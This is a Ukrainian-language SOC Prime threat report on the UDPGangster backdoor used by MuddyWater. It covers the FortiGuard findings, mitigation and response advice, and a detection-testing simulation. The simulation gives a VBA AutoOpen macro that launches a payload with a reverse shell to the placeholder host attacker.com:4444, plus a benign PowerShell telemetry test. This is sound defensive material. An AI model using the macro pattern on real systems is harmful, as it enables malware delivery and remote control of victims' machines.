SOC Prime Bias: Критичний

08 Dec 2025 13:27 UTC

Атаки UDPGangster поширюються по кількох країнах

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Атаки UDPGangster поширюються по кількох країнах
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

UDPGangster – це бекдор на основі UDP, який використовується групою загроз MuddyWater для віддаленого керування хостами Windows. Початкова компрометація відбувається через шкідливий документ Word, що використовує макроси VBA для популяризації і запуску корисного навантаження. Шкідливе програмне забезпечення здійснює масштабні перевірки, спрямовані на уникнення аналізу, і підтримує стійкість, копіюючи себе в директорію AppData користувача та створюючи ключ автозапуску. Останні кампанії спостерігалися з метою користувачів у Туреччині, Ізраїлі та Азербайджані.

Розслідування

FortiGuard Labs дослідили фішингові електронні листи, вбудований макрос VBA, випущений виконуваний файл і його техніки збереження. Вони витягли індикатори, такі як шляхи файлів, записи реєстру автозапуску, назви м’ютексів і пов’язану інфраструктуру C2. Кореляція IP-адрес, доменів і шляхів PDB дозволила аналітикам пов’язати цю активність з попередніми операціями MuddyWater.

Запобігання

Кроки з пом’якшення включають запровадження блокування макросів або надання повноцінного навчання користувачам, щоб запобігти виконанню макросів, а також розгортання засобів захисту на кінцевих точках, які стежать за підозрілими записами файлів у публічних або профільних папках користувачів, а також за модифікаціями ключів автозапуску реєстру. Мережеві команди повинні моніторити підозрілий UDP-трафік на порту 1269 і блокувати відомі шкідливі IP-адреси та домени, щоб порушити канали C2.

Відповідь

Коли виявлена активність UDPGangster, ізолюйте уражену кінцеву точку, зберіть несталеві дані пам’яті та повні образи дисків, і шукайте бекдор та пов’язані артефакти. Заблокуйте ідентифіковану інфраструктуру C2, проведіть всебічний кримінальний аналіз, щоб виявити будь-які додаткові скомпрометовані системи, та оновіть сигнатури безпеки для виявлення як шкідливих макросів-документів, так і бекдорівської загрози.

Потік Атаки

Виконання Симуляції

Передумова: Перевірка на відповідність Телеметрії та Базових вимог повинна бути пройдена.

Чому: Цей розділ детально описує точне виконання техніки супротивників (TTP), створеної для запуску правила виявлення. Команди та опис ПОВИННІ безпосередньо відображати виявлені TTP і прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.

  • Опис Атаки та Команди:
    Атакуючий доставляє шкідливий документ Word, що містить макрос VBA. Макрос звертається до API Windows CreateProcessA щоб створити cmd.exe і виконати корисне навантаження UDPGangster (udp_gangster.exe). Корисне навантаження встановлює зворотний шелл на сервер C2 атакуючого. Оскільки макрос явно передає рядок ‘CreateProcessA’ і буквальне cmd.exe у командному рядку, то правило виявлення відповідатиме.

    1. Макрос VBA (спрощений) демонструє виклик API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Розгортайте макрос, відкрийте документ та дозвольте виконання макроса. Подія створення процесу міститиме:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Сценарій регресійного тестування: Наведений нижче PowerShell-скрипт відтворює точну телеметрію без необхідності в документі Word. Він звертається до нативного API Win32 CreateProcessA через Add-Type.

    # Регресійний тест: прямий виклик CreateProcessA з cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Команди очищення: Видалити артефакт, створений під час симуляції.

    # Видалити тимчасовий журнал, створений симуляцією
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue